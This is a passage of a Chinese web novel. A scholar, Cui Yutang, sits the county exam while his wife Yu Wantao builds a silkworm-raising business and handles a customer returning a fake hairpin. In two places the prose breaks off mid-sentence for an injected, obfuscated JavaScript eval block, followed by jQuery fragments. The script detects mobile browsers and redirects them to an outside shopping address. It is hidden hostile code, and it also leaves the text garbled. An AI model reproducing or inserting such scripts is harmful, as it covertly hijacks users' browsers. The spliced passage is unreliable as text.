一家子围在桌上吃饭，崔玉棠起身去灶房里将炖好的红烧猪蹄端出去，余光落到蹲在小桌上呼噜呼噜吃饭的俩小厮，他分了一海碗出来，放在灶台上。 “自个过来拿，吃了记得洗碗。” 余小器抬起脸，漆黑的眼珠子眨了眨，没应他。 “谢谢大爷！”，余小娃起身去端那海碗肉香四溢的红烧猪蹄，险些哈喇子流出来了，等人走了，他给余小器夹了一块猪蹄过去，以大哥的口吻说教他。 “咱都是做奴才的，你也不嘴甜一点，余东家和大爷是顶好的主家了，只要勤恳做事，日子好着呢。” 余小器微不可闻地哼了一声:“为什么要叫大爷？” “都这样叫啊，男主子们就是大爷，二爷，三爷，这样喊的。还有我们当小厮要有眼色，家里头是余东家做主的就不能喊她崔夫人，而是要喊东家。” 余小器低头啃了一口猪蹄，一脸受教地点头。 他脸上的伤完全好了，露出初显锋锐的眉眼骨相来，整个人透着一股骄矜，不似穷苦人家里能养出来的小孩，平时干活更是一窍不通，被崔玉棠明里暗里嫌弃好几次。 夜里盘完这半个月的账，二人并枕而眠，余晚桃说起在白沙镇的事，忽而想到一事，“你把小器带在身边当个书童吧，去参加县试时一些琐碎的事也能有个人帮着些。” “余小器——”，崔玉棠眼皮子跳了下，说，“他怪怪的。” “？” “他平时有事没事总爱盯着我看。”，崔玉棠语气里纠结，又疑惑不解，绞尽脑汁地想着那种眼神该怎么用言语表达出来。 “总觉得留着人是个隐患，不若问清楚了他家里的事，把人送走得了。” 余晚桃翻身，将手掌枕在侧脸边，看着眉头紧锁的书生:“他如今是奴籍，若送了回去也不能到他家里，只能继续被转卖。” 崔玉棠不肯妥协:“那让他留在铺子里帮忙，让小娃来当书童。” “小娃不识字。”，余晚桃哭笑不得，“我发现你是很排斥与他相处？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074741|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 崔玉棠缄默不语。 良久，他轻声问:“我与他当真长得像吗？” 想到对方未知的身世，余晚桃忽然明白了他这么排斥余小器的原因，那是对前路未知危险的本能抗拒。 且不说他们是否真的有关系，单就崔宅那夜的大火就不简单，跟这身世扯上关系的，都不见得是甚好事。 “在书院中，可有打听到大伯的事？” “悄悄问过祝兄，他说大伯那案子办得急，许是得罪了朝中的人，才被迅速摘了乌纱帽，不过家眷倒还好，都被发配了，没带连着全斩了。”，崔玉棠眉宇愁结不散。 “锦庄有商队是跑西北那边的，我托他帮忙打听爹娘和大哥的消息了，只是路途太远，商队来回得三月左右，最近的一趟是在月初，消息回来恐得到六月份了。” 余晚桃算算时辰，“那是你应该在府城参加府试了。” “无碍，消息能回来就行。” 崔玉棠嗓音含着希望，语调愈发温柔，眸子更是清亮，如今细想当初被抄家，娘亲冒着危险将他二人摘出来，拼着最后一丝力量护他周全。 他虽非亲生，可自幼便得父母怜惜，兄长疼爱，只一户籍而已，如何会迟迟未上。 想来，是早就提防着这些事，不想让他掺和进这些阴谋里来。 他的身世，也许爹娘早就知道。 “若他们知晓我恢复了，定会很开心。” 余晚桃垂眸，轻轻嗯了一声。 她困倦地耷着眼皮，神游入梦之际也替他高兴，若崔家人真的能平安抵达西北，纵是再艰苦，但只要活着，何愁没有重逢之日。 春日里气温正恰，催人懒眠，周遭又飘着花香，绿芽新冒，处处透着蓬勃的生命气息，早晨里市集上热闹喧嚣，尤其是菜市，充满了各种砍价吆喝的声音。 余晚桃着实喜欢春季里的菜市，萎靡了一整个冬后，各种新鲜的瓜果蔬菜纷纷上市，每一样都是水灵灵的，令人目不暇接。 她买了不少果蔬和肉菜，回去时见主街一摊子前围了成堆人，秉着好奇心挤进去一看，眼眸倏地放亮。 竟是外来商人，贩卖各种彩色瓷器的。 那个个造型奇特的花瓶子，色彩绚丽的碗碟，婀娜多姿的泥彩女俑，还有许多新奇的瓷器，全是各种大胆明艳的配色，十分吸引眼球。 余晚桃眼里冒光，买买买！ “东家，要拿不下了。”，余小娃皱着脸发愁。 余晚桃依依不舍地放弃了继续买的想法。 回到家，那堆泥彩女俑就被她装饰到铺子里，花瓶灌上水，折些时下开得正好的鲜花束插/进去，应景得很，逢客路过必得瞧上一瞧那些女俑俏丽的妆面，和明艳的瓷彩。 至于碗碟…… 吃晚饭时，崔玉棠端着一个正窑红的奇形怪状的碗，望着装在里面的米饭，有些无从下嘴。 “这碗是不是很特别，这儿的人都含蓄，少有这般奇异巧思之作。”，余晚桃有些爱不释手地捧着自己的桃心碗，边吃边欣赏。 她目光逡巡过余小器的绿西瓜瓷碗和余小娃的猪肉配色瓷碗，问:“家里以后就用固定的碗了啊，谁都不能拿错。” 余小娃簌簌点头:“嗯嗯！我喜欢这碗，就像顿顿都捧着猪肉吃饭，可香了！” “……”，余小器默默咽下了抗议，他是小厮，小厮是不能违抗主家命令的。 “这碗，嗯——是供人赏玩的彩瓷。”，崔玉棠尤想为自己争取一二，他说:“拿来装饭有些不雅了，不若就摆起来，等有客来了也能一起品瓷。” 余晚桃沉吟着点点头:“也是，这些可都是从彩瓷之乡苏扬府运过来的，描彩手艺一流，我还买了两套留着送礼呢。” 说到送礼，崔玉棠顿了一下，眸色微敛。 他声音往下沉了沉，道:“听刘兄说苏秀才给县令送了不少礼，许是会为了自身前程，帮陈文祖摆平这次。” 至少是不用丢掉小命了。 他们两家如今还未正式和离，名头上还是姻亲关系，出事后苏秀才急着撇清关系，不免让县令那边多想了，这次买县试假考题，是否有苏秀才在其中浑水摸鱼？ 不然为什么如此着急给自己女儿办和离。 苏秀才读了一辈子书，最后却栽在自己给女儿亲自选的人身上，实在是膈应得很，离又离不掉，只能忍着晦气，先将陈文祖小命保住。 今早崔玉棠去县衙打听消息，便遇到了黑脸来走动关系的苏秀才，二人相交不多，他点点头便打算与人擦肩而过。 可苏秀才却折返回来，寻到他，想让他走一走陈教谕的关系。 余晚桃想起苏仪儿，难免伤怀:“这事仪姐儿恐怕被牵连最深，难道陈文祖被下了狱，就和离不得了吗？” 崔玉棠冷静分析:“能和离，只是会对苏秀才名声有碍，且会引起县令那边的猜忌，有大难临头各自飞的嫌疑，毕竟陈文祖买考题的银子，应该就是从苏家拿的。” 经此一遭，苏秀才怕是在县令面前不得脸了。 “先不管他人的事，你这边县试报名确认没有影响了吗？” “今早去问了，我可以正常参加县试，会有衙役通知书院那边的。” “那就好。”，余晚桃深深松了一口气。 书生日夜苦读，为的就是拼一个功名，临了临了，可不能被其他影响了去。 60. 第 60 章 崔玉棠去府衙报名县试当天，陈文祖的案子也审完了。 公告贴出来共有六名学子，皆是青山书院的的学生，经买假考题一案宣判，剥夺县试资格，终生不得再参加科考，且各杖二十大板。 陈文祖被抬着出府衙时，与崔玉棠错身而过，二人视线对撞，崔玉棠轻勾嘴角，朝他露出一抹充满讽刺的笑，而后大步流星踏入府衙，去拿他的县试名帖。 青山书院将涉事的学生除名后，以这六名学子为例，让各课室应考的学生写一篇文论，并以此为戒，警醒自身。 夜里崔玉棠将自己的文章写完，在随身手札上落笔:先君子，后文人。 三日后，县试开考。 上千学子奔赴于前途之始，正式踏上漫长的科考道途。 余小器清点完笔墨、吃食、和被褥等物品，再交到余晚桃手上，让她过一遍确认没有遗漏的了，才给崔玉棠一一收进书箱里。 崔玉棠今日穿着统一的渚清学子服，墨发半束，比起其他学子们严阵以待的紧张，他似完全不受影响，神情轻松，甚至愉悦。 “祝公子一举中第，一鸣从此始，相望青云端。”，余小器拱手，言辞真挚地对着人拜了一拜。注:《送韦秀才道冲赴制举》唐，刘禹锡。 总算有点书童的自觉了。 崔玉棠欣然应道:“承你吉言。” 余小器仰起脸，露出一抹腼腆的笑容。 “好了，那头都开始排队了，快进去吧。”，余晚桃望着他，道:“三日后，我还在这接你回家。” “好。”，崔玉棠声音温柔，往考场那边走了几步，回头来看着她，风拂过他侧脸，在明媚的阳光下宛若浸着一层金色的光晕，弯眸浅笑，自信从容。 余晚桃对他摇摇手，等人顺利进了考场，才带着余小器回铺子。 今儿将书生送进了考场里，余晚桃到铺面上寻了一圈，见一切都正常着，这才套了马车，回村去。 有些时日没回村，村里屋舍在小细柳的打理下还是同从前一样，干净整洁，充满了烟火气息。 到家时小细柳正好从桑园里捡鸡蛋回来，挎着的竹篮里满满一篮子鸡蛋，见余晚桃回来了，登时眉开眼笑道:“回来啦？吃东西了没？二郎怎么没跟着一道回来。” 余晚桃笑着应:“吃了，二郎参加县试去了，我这次回来主要是想将桑园里的事弄一弄，再请些人手把养蚕大棚盖起来，不然等到五月份蚕种回来就太晚了。” “桑园那头是得今晚处理，我每天去瞧着好些新芽尖已经冒出来老长了。”，小细柳从篮子里拿了几个鸡蛋出来，说:“村里好些人过来打听培育桑苗的事呢。” 余晚桃:“我晚些去找村长一趟，把这事解决了。” “小娃，把马车里的礼品搬下来。” 余小娃一边应着声，一边把礼品搬下来，搁到檐角边，询问道:“要分成几份？” “三份。” 礼品分成三份，余晚桃提了一份出来去隔壁丁婶家。 丁婶早听闻声儿知晓是她回来了，这会见人过来，还带着礼，她上扬的嘴角一下抿紧:“还没听说过到隔壁串门子还要带礼的。” 余晚桃眉眼带笑，忙过去挽着她的胳膊解释道:“我这可不是串门子，是有事想同庆叔商量呢。” “什么事找我啊？”，余天庆从后院抱着一捆柴过来，肩膀上还坐着个小姑娘，他鼓起手臂肌肉，轻松将女儿放下地，自个抱着柴去灶房堆好。 柔妹啪嗒啪嗒跑过去，围着余晚桃转:“桃子姐姐你有没有给我带甜甜的糕呀？” “当然有啦~”，余晚桃从带来的礼品里抽出一包油纸裹着的糕点，递过去时多叮嘱了一句:“别一次吃完啊，小心蛀牙。” 柔妹抱着糕点，高兴点头:“知道的！” “这丫头，就惦记着这口了，惯得她。”，丁婶笑骂她。 余晚桃摸着柔妹软软的麻花辫，说:“家里有条件，小姑娘爱吃甚就吃，不需得省那些铜子，若孩童时吃喝都紧着，没得过多少好东西，见识差了，仔细长大了，那些个懒皮混子拿颗青皮糖就把人给拐跑了。” 都说姑娘家得富养，这是有道理的。 余天庆从灶房里头走出来，认同道:“桃子说得对，姑娘家吃穿都不能短了，我自己姑娘还是养得起的。” 丁婶平时节俭惯了，不过这话却没反驳。 她命里福薄没生得一个儿子，可万幸嫁的汉子有担当，纵是个膝下只有个小妮子，也照样宠着，没起其他的歪心思。 “叔，你最近不进山了？”，平常这个时候，余天庆应该都在山里跑着的。 余天庆摇头:“春天是山里动物繁衍的季节，当猎户的有规矩，都不会这个季节进山的。” “那岂不是时间空得很。”，余晚桃适时道:“我铺里事忙，村子这边还打算另辟一片养蚕大棚，叔要是感兴趣，就帮我打理打理呗，山里奔着的活计，总不是个稳定的。” “每个月固定的工钱五两，每批蚕茧结算之后再按量拿分成。” 每月五两工钱，还有分成拿。 余天庆当猎户，见天的在山里奔，收入都是不固定的，若运气不好，连着几天没猎到猎物都是常有的事。 能得一份固定的活计，余天庆自然是有想法的，不过，他迟疑道:“养养蚕而已，开恁高工钱，你不得亏着。你铺子里的生意刚起来，银钱还是得紧着盘算。” 余晚桃笑了下，肯定道:“我开这工钱是合理的，撇去我们关系这层，一个占地十多亩的养蚕大棚，您和丁婶光是摘桑叶都得摘一天。我的想法是雇您当个工头，以后桑园里和养蚕大棚这边人手雇佣、工钱结算等这些事都有您替我管着。” “十几亩的养蚕大棚？”，余天庆心里盘算了下这地有多大，惊讶道:“你这是打算继续开荒，当养蚕大户？” 余晚桃:“我铺子里生意好，肯定是要开分铺的，到时候需要的蚕丝多，若从别处买，那成本就太高了。再说，我们大桑村本来就盛产蚕茧，这个钱哪能让别人赚了去。” “你想得周全。”，余天庆望着面前眸子明亮姑娘，心里生一种想法——她未来会走到大桑村所有人都不敢想的位置去。 胆大心细，聪明且有想法，敢想敢做。 不像是大桑村里能养出来的人，可她偏偏又是从这个村子里走出去的。 “成！叔跟着你干。”，余天庆咬咬牙，点头应了。 跟着有本事的人干，将来日子也差不到哪去。 余天庆这边谈好之后，余晚桃心里就定了大半，再去村长家也有了许多底气，年前说好的要教蚕农们桑树培育的法子，她便托村长在中间周全着，把名单统计出来。 名单收上来后，她把将蚕茧卖给千丝坊的那几户违约的人家划了去，面对村长的欲言又止，只当看不见。 “他们想必也知道错了，这一个村里只将那几户划出来，他们心里该得怎么想。”，村长为难道。 余晚桃不以为意:“他们如何想，与我有何干系？当初既然毁约了，就该承受一并而来后果。” 她并非圣人，做不到心无芥蒂吃这个亏。 从村长家出来，余晚桃把最后一份礼拎去了陈家，原是想放下就走，却正撞上从外面一瘸一拐回来的陈文祖。 陈文祖身上那股读书人高人一等的傲气荡然无存，与从前的道貌岸然相比，此时的面相显得十分阴郁。 他站在门口处，讽刺道:“你那好相公现在不应该正在县试，怎么不去考场外头等着，反倒来这穷亲戚家里看笑话了。” “原来表哥也知道自己是个笑话了呀。”，余晚桃挑了下眉，语气比他还要阴阳怪气。 陈文祖冷笑:“我再怎么是个笑话，也比你这抛头露面出去做生意的下等贱籍强，真以为自己能当秀才夫人了？天底下没有哪个秀才会心甘情愿娶一个贱籍到后院里摆着供人耻笑。” “我倒要看看，等那时候，谁才更像一个笑话！” 他转身回屋，将八仙桌上那堆东西全部抱起来扔出去，力道之大，好似要将这些日子以来所受的屈辱和嘲笑都随之抛走。 “陈文祖——你这个小畜生！”，李氏人未至声先到，一边嚷一边扛着锄头回来，心疼地将门口的礼品拾起来，张口就骂:“桃子拿来的礼是孝敬我这个长辈的，有你这吃白食的甚么事！” 她放下锄头，叉着腰气势汹汹道:“自己干了那丢祖宗脸面的事还不许人说了？我告诉你！这个家只要我没死，就由不得你做主，以后要想吃饭，就给我下地干活去。” 陈文祖面色难看至极。 李氏现在可不会再惯着他，甚至恨不得当没这个儿子，买县试假考题就等于科举作弊，这行径不论在哪都是得被人戳脊梁骨，扔臭鸡蛋的。 自从这个儿子回家后，村里人路过陈家院墙都嫌晦气，她好容易积攒回来的名声这下全臭了。 尤其是还被亲家写了和离书，更丢人。 “舅母，我先回去了。”，余晚桃实在不想继续待在陈家，与李氏道了一声便准备离开了。 李氏笑着送她出去，等人走了才掩好门扯着嗓子继续骂。 远远的，还能听着她那把声。 余晚桃摇摇头，心里平静地想:李氏从前怎么骂她的，现在都照搬到自己亲生儿子身上了。 久不回村，又恰逢阳春，菜地里不少菜都长得郁郁葱葱的，芹菜、小葱大葱、白菜苗、春菜、芥菜丝瓜等。 小细柳打理得好，人又勤快，这菜地里的菜长起来都快吃不赢了。 今儿晚饭，桌上便是一大碟的葱花煎蛋和芹菜段炒鱼干，还有一海碗嫩绿的春菜，四四方方的木桌摆了出来，满满当当的。 “咱家菜种得多，我自己在村里也吃不完，以后就隔几天回来摘一筐，省得在县里还要花那冤枉钱买菜。”，小细柳捧着碗，给桌上一大一小各夹了筷子葱花煎蛋。 一天相处下来小细柳对余小娃喜欢得紧。 这小汉子一到家里就帮着干了许多活，年纪不大却有把子力气，人也本本分分的。 知道他是余晚桃在县里买的小厮，小细柳也没低瞧了去，她当初便是得了余晚桃收留，才能有着安稳日子过，这会自然也不会给自己拿乔起来。 余晚桃与她道:“你打理得好，这些菜拿去县里卖也能得些铜子呢。” “自家里吃，不卖。” “好，那以后隔几天我就让小娃回来一趟。” “哎！”，余小娃高兴地应声。 明儿还得早起把养蚕大棚的章程落实了，余晚桃吃了饭便早早歇下。 村里屋舍靠近田野，夜里蛙鸣不绝耳，透过窗缝断断续续地传进来，余晚桃抱着枕头，翻身将幔帐压实些，闭上眼时不可避免地想到此时还在考场里的书生。 考舍方寸之地，伸直腿都困难，且春日里昼夜温差大，要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091339|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在那待上三天，考这几场下来，若身子骨差些的，人不得折腾出病来。 古代学子也真真是够艰苦的。 人影两处，各思愁绪。 崔玉棠折好卷子用砚台压着，拿冷水泡开了馒头，又从篮子里拿出一只熏制好的大虾干，就着幽幽烛火慢慢用食，仰头静望悬挂于夜幕中的月亮，眼中浮现思念。 …… 大桑村除了依河而建的屋舍聚集地，环山处还有些许多荒地，荒地不肥沃，草根子碎石头多，距离河道也远，不适合用来种稻。 且村里人世世代代居住在这，都有官府分的上等水田旱地，只要勤快些就能吃饱穿暖，没谁会主动去吃开荒的苦。 这也导致了大桑村有着非常宽阔的荒地位置，不过今年头与往年不同，今年不少人家都扛着锄头辟了块荒地出来，为的就是种桑树。 余晚桃一趟趟跑下来，确定了村民们的桑树种植位置后，又跟着去隔壁村挑好的桑树苗，从选苗到栽种都全程指导着，最后写了本关于桑树培育嫁接强优桑叶的册子，交给村长。 “东家，喝水！”，余小娃顶着满头大汗跑到桑园里来，递过去一个碧绿色的竹筒。 余晚桃把竹筒接过来，见他兜里鼓鼓的，便问道:“兜里装的是什么？” 余小娃嘿嘿笑:“是在竹林那边扒的小春笋，这时节竹林里密密麻麻的全是笋尖子，嫩脆细条的，我娘以前经常去山里扒来清炒。” 回到山村的环境里，余小娃比在县里呆着要活泼些，他擦了擦脑门上的汗，很快接着说道:“庆大爷说家里来了很多人都是要报名开荒队的，让你回去撑个场面。” “行，回吧。” 这边也忙得差不多了，桑树苗种下去得有段时间才能进行嫁接，培新品种出来。 余晚桃要办养蚕大棚的事已然在村里传遍了，过来报名的村民没有不羡慕余天庆一家的，看人家邻里关系处好了，发财都能被捎带上。 再对比是亲戚的陈家，就不行了。 陈文祖那懒货还做着秀才郎的美梦呢，被青山书院除名了赶回家，也拉不下脸面撂起裤腿子下地干活，整日大门不出二门不迈，在家里当大爷。 偏生李氏清醒了，一点都不纵着他，现在是每日都要骂上几句，左邻右舍每天饭点准能听着一出骂嘴好戏来。 这次开荒队报名，李氏也扛着家伙什过来了。 有好事的婶子故意问她:“你可是桃子舅母，她办养蚕大棚没想着拉拔你一下？这银子可都让天庆家的赚了去。” “我一个寡妇吃喝不愁的，顿顿白米饭，炒鸡猪肉换着来日子过得好着呢，用得着桃子拉拔。”，李氏横了那婶子一眼，嘴一如既往的毒:“倒是你，拖家带口的十几张嘴，逢年过节的连块肉都舍不得买，还是多担心担心自己吧。” 那婶子一听这话嘴角就往下撇，怪声道:“是啊，哪里比得上你，手里捏着老根一条命的钱呢，可不能顿顿吃肉嘛。” “你要羡慕了，也想顿顿吃肉，那就让你男人也找个地死去啊。” “你——！”，那婶子气得脸都绿了，憋着一股火又不敢再这兴头扬出来。 等顺利报上名了，才对着李氏的方向啐了一口唾沫，气冲冲地出去，岂料正撞到赶回来的余晚桃，忙不迭收起气性，低着头从旁边走了。 李氏再怎么说都是桃子的舅母，她还想靠着开荒队这份工多赚些家用呢，可不能为着几嘴事，把好好的活计给折腾没了。 余晚桃扭头看了眼那婶子慌张离去的背影，有些纳闷，直至进了院里，在吵吵嚷嚷的议论声里，才知道那婶子刚和李氏过了两嘴，还惨败了。 “桃子，快来看看这名册没记错吧？”，余天庆识字不多，所以这会是村长帮忙登记着，不过他后头自己也学了一会，试着歪歪扭扭写几个字。 毕竟以后大小也是个工头了，总不能还是大字不识的。 余晚桃把名册拿过来仔细对了一遍。 有村长帮着倒是没出差错，不过往后养蚕大棚少不了银钱流水，这以后的出入账册还是得寻个熟手。 “我记得村里有个伯叔的儿子是走街串巷的货郎，改日可去问一下，看他愿不愿意到咱这当个账房先生。” “行，回头去问问。” 等院里的人都报完名了，余天庆把名册收起来，让自家婆娘去灶房里做饭，他同余晚桃在坐在院里商量养蚕大棚的具体章程。 首先肯定是先把地打理出来，桑地不用打理得太细致，只要锄平顺了，再捡捡草根碎石头就行，这一块主要就是人工费。 地打理出来了接下来就是盖大棚，买蚕座蚕架砂网这些养蚕用具。 余天庆合算道:“我们村里自己人就能把大棚盖起来，既便宜又不会偷工减料，就是一些料子得从县里买，我们用料多，批量采买的话应该能压压价。” “这些您肯定是比我清楚的，明儿二郎县试结束，我得去接他了，这边的事还得麻烦叔多盯着些。”，余晚桃支了一部分银子出来，大概估算着前期的投入费用，以及用来周转的资金，差不多是在五十两左右。 余天庆摆摆手:“你也甭担心，这头有我盯着呢，二郎县试是大事，要真考上了可得知会到村里，我们村里还有没出过正经的童生郎呢。” “若考中了，会有红榜张贴出来的。” 余晚桃思及此，不禁轻笑了一声。 希望书生真的能如愿吧。 61. 第 61 章 县试考场外，锣鼓悠鸣，时刻一止，紧闭的大门缓慢从两侧打开，先是出来几名身穿红底黑边差服的衙役，而后才有学子陆陆续续走出来。 考场一待便是三天，对人的精神和身体都是一种折磨，出来的学子们无一不是面色惨白，脚步虚浮的，有些甚至一得见天光，就直直倒地昏了过去，由着家人抬走。 余晚桃早早便到了，踮脚往里看了许久，才见着一道熟悉的身影从人潮中脱离出来，瞧着模样还算正常，没有虚弱要昏倒的迹象。 “二郎！”她扬声喊了一句。 崔玉棠闻声投去视线，落在她身上那刻整个人犹如凛冬里融化的冰雪，乌眸染上笑意，三步并两步走过去，却又止于一臂的距离。 余晚桃想靠近些却被他制止了，“三日未曾洗漱，身上味重，莫熏着你了。” 余晚桃浑不在意地弯起嘴角:“身上可有不爽利的？我看有些个学子都晕倒了。” “我体质强健，自是无碍的，我们回家吧。”，崔玉棠对身侧的游子涧和刘郯拱拱手，“二位，崔某得娘子来接，就先行一步了。” 游子涧宛若被妖精吸去了精气一般，整张脸都透着一股子萎靡的气息，他有气无力地点点手，“走吧你，有娘子了不起啊，看给你嘚瑟得。” “人家崔兄有娘子心疼，游兄啊，就咱俩难兄难弟了，唉！”，刘郯沉重地叹气。 “表少爷——”，陈家小厮跑过来，脸上堆着笑:“夫人让小的来接您回去。” 刘郯:“……得，就我自己了。” “走，反正顺路，一道回吧。”，游子涧勾着刘郯的肩膀，二人亲亲热热地往陈家马车那处走。 崔玉棠也上了自家马车。 回到家时灶上已经热好水了，余小器踩在高脚凳上，从顶层柜子里翻出一罐干的玫瑰花瓣出来，往热水里抓了一把下去，又殷勤地帮忙舀水，找换洗的衣裳，俨然十分有书童的自觉了。 崔玉棠在浴桶里泡了一阵，才清清爽爽地起来穿衣，湿着头发出门去，“好香啊，在煮什么？” “回村时细柳姐可是舍了血本，从桑园里抓了一只鸡回来让给你炖上，生怕你在考场里把自己饿瘦了。” 余晚桃舀了一碗鸡汤上来，再添些鸡肉和红枣，给他端上桌，“快来喝碗汤垫垫肚子先。”，余光瞥见他头发还透着水汽，便回屋里取了巾子递给余小器，让他帮着把那滴水的头发铰干些。 余小器咧着嘴在后边帮忙铰头发，鼻翼动了动，忽然大声说:“公子身上都是玫瑰花的香味了！” 崔玉棠拿勺羹的手一顿，“谁让你把那一罐子干玫瑰花瓣倒进去大半的。” “没有大半，就抓了一把，泡了玫瑰花浴，晚上睡觉香喷喷的。”，他比着手，在空中虚抓了一下示意，颇有些不好意思地嘿嘿笑。 “行——”，崔玉棠拖长调子，喝了口鲜香的鸡汤，把碗底的那块鸡肉夹给他吃，说:“我书箱里有两卷书压了几天，你去拿出来放到院里晒晒，去去潮。” “唔！”，余小器嘴里塞着鸡肉，含混不清地应了一声，飞快奔进屋里去。 作为主子，不能厚此薄彼。 崔玉棠又把小娃招过来，给他也吃了一块，才端着空碗去灶房里，同余晚桃挨着肩站在里头，看她忙活。 “这小春笋哪来的？” “小娃在村子竹林里薅的，等会拍了炒个肉片。” 崔玉棠哦了一声，说:“我记得细柳姐腌了不少酸笋。” “那不是拿了两小缸回来嘛。”，余晚桃朝角落里比了比下巴，好笑道:“想吃自己去拿出来，我看着做。” “好~那就多谢娘子了。”，崔玉棠煞有其事地对她行礼，而后勤快地拿了碗去装酸笋，期间抱怨道:“吃了三天冷水泡馒头，现在就想尝些重口的，调一调胃口。” 小细柳酸笋腌制得好，酸度刚刚好，崔玉棠光是闻着都被诱出了口涎，他仔细把盖子压好，起身去柜子里翻找能搭配酸笋的菜，实在是找不到合适的，就割了一块腊肉下来。 “就做酸笋炒腊肉吧。” “好，你去院子里歇歇吧。”，家里平时都是书生掌勺，余晚桃甚少下厨，今儿也算是体谅书生辛苦，大展一回厨艺，足足做了四道硬菜出来。 崔玉棠吃了一顿丰盛的午饭，心满意足地回房补眠去了。 这一觉便到了次日清晨，神清气爽。 紧绷了小半月的学子们得以解放一二刻，纷纷涌到铺子里抢买梅老最新出的同款，一时间热闹得紧，小工们忙得晕头转向的，连歇息的时间都没有。 余晚桃也在铺里帮忙，来结账的客人排了好几位，她算盘打得噼啪响，专心致志地算着账目，连抬头的机会都没有。 谁知啪地一下，就有人往她跟前拍了一支簪，恶声恶气道:“我要退钱！” 余晚桃把手上这笔账算好，让后面排队的客人到旁边去结账，拿起那根簪子粗略看了两眼，这才抬头去看对方。 一位细眼粗眉，面色不善的褐衣妇人。 她勾起嘴角，温声道:“这位夫人，您这根簪子并非是从我们铺子里卖出去的。” “这怎么可能！”，褐衣妇人一听便急了，手反复用力拍打着柜台，大声嚷道:“这是我生了儿子，我婆婆专门买来奖励我的，从你们华纱绒花铺这花了二百文买的曲式珍珠簪，谁知道戴了没两次上面的珍珠就掉了，而且还掉色！” “你们铺子里卖的甚么破簪子，哪里值二百文了。” 褐衣妇人胸膛剧烈起伏，怒气冲冲地瞪着余晚桃，全然不顾铺子里其他的客人，更甚至意图让铺子里的人都听到她的话，好教认认这铺里卖的破烂货。 “晚桃姐姐……”，窈儿一脸担心地靠过来。 余晚桃给了她一个稍安勿躁的眼神，转身去货架上取了一支曲式珍珠簪来，耐心与那妇人解释道:“夫人您莫要着急，我也知花了二百文买的簪子才戴几次就坏了确认恼人，您生气也是应该的。” “但这确实不是从我们这卖出的，您瞧我们店里簪子的手艺和您拿过来的这根簪子，是大相径庭的。” 余晚桃把两支簪子拆开给她比对，“我们铺子里所有饰品都是用我家里祖传的绒花手艺制作，只取细铜丝固定，珍珠也是拿蚕丝仔细串并的。您拿过来的这支显然是用米糊糊简单沾的，动作稍微大些就掉了。” “再说到珍珠，我的货源都是从白沙镇直购的珍珠蚌，一应支出账册都有，不可能作假，再说了这款曲式珍珠簪也卖出去不少了，若有问题，早就该旁人找上门来了。” 余晚桃这一番话有理有据，条理清晰，听得那褐衣妇人脸一阵青一阵白，她仍是重复着那句话:“这是我生了儿子，我婆婆专门买来奖励我的。” 余晚桃眸子微眯，温声道:“许是您婆婆被外面的小贩骗了？或者是……” 她对那褐衣妇人轻轻笑了下。 褐衣妇人终于反应过来，肩膀陡然塌了下来，一把抓着那根拿米糊糊沾的假珍珠簪，臊红着脸冲出了铺子。 “不好意思，让这些个小事扰到各位兴致。”，余晚桃抬高音量，爽快地对铺子里的客人告了歉，抻抻腰继续拨算盘。 有相熟的夫人们来结账时，一脸八卦地跟她聊天，“刚才那妇人一准是被她婆婆诓骗了，怕不是在外面花几个铜子买的破烂货回去应付她，这样的婆婆真教人寒心。” “就是，我家姑娘就是赖家里吃喝一辈子，都不会让嫁去那样的门户，白受人磋磨。”，另一位夫人义愤填膺地接话。 有识得那褐衣妇的人，也挤到了柜台来，一脸嫌弃地说:“刚才那是矮巷里的浣衣娘子吧，她婆婆是出了名的难伺候，又抠门又爱贪便宜，哎哟喂五年生了四个女娃，那男娃今年才刚下地不久，我瞅着她都还没出月子呢，就被她婆婆赶了去上工。” 就这样的婆婆，怎么可能舍得花二百文去买一支珍珠簪给儿媳妇。 吃到瓜的余晚桃算盘也不打了，她睁着眼睛好奇追问:“那她男人不管吗？” “她男人？那就是个烂酒蒙子，只管摇着□□二两肉去播种，其他的一概不管。” “能播种也不错啊，人家起码能生，我家男人可是昨日黄花咯，那玩意真是白长了，连我都伺候不起来，还想着去纳妾，啧。” “男人不就这点德行。” 妇人们说得直白，教边上好几个偷听的姑娘霎时红了脸，推推搡搡地走开了，生怕被熟人瞧见。 余晚桃也是听得脑袋一激灵，低头快速眨了几下眼睛，面上有些热。 不得不说，古代人真奔放啊。 “咳咳——”，一道清越温润的咳嗽声被刻意加重了语气，随之而来的是君子一般文雅含蓄的书生郎。 崔玉棠一来，围在柜台前蛐蛐的夫人们就散了，说说笑笑的，神情自然得好似方才在讲荤话的不是她们一般。 唯有余晚桃，迎着书生调侃的目光，不自在地摸摸鼻子，问他:“可休息好了？” 崔玉棠忍着笑，点头应:“休息好了，方才你们在聊什么？” 这书生，愈发坏了，明明听见了还故意问。 余晚桃哼了一声:“既然休息好了，那便换你来吧，我去后头歇歇。” 说完，她逃似的钻出了柜台，往后院去。 好端端的，开甚黄腔啊，真教人尴尬！ - 县试开榜当天，游子涧和刘郯过来喊人一道去看榜，崔玉棠还穿着粗布短打在院子里修缮围墙，充分显示了什么叫松弛感。 刘郯瞪着眼睛道:“崔兄，你真乃神人也。” 崔玉棠站在翘脚凳上，扭头扫了他一眼，“何以见得？” “你无所不能啊！”，刘郯夸张道:“不止书读得好，还会做饭，会泥工活，平时射艺课百发百中，可谓能文能武。” 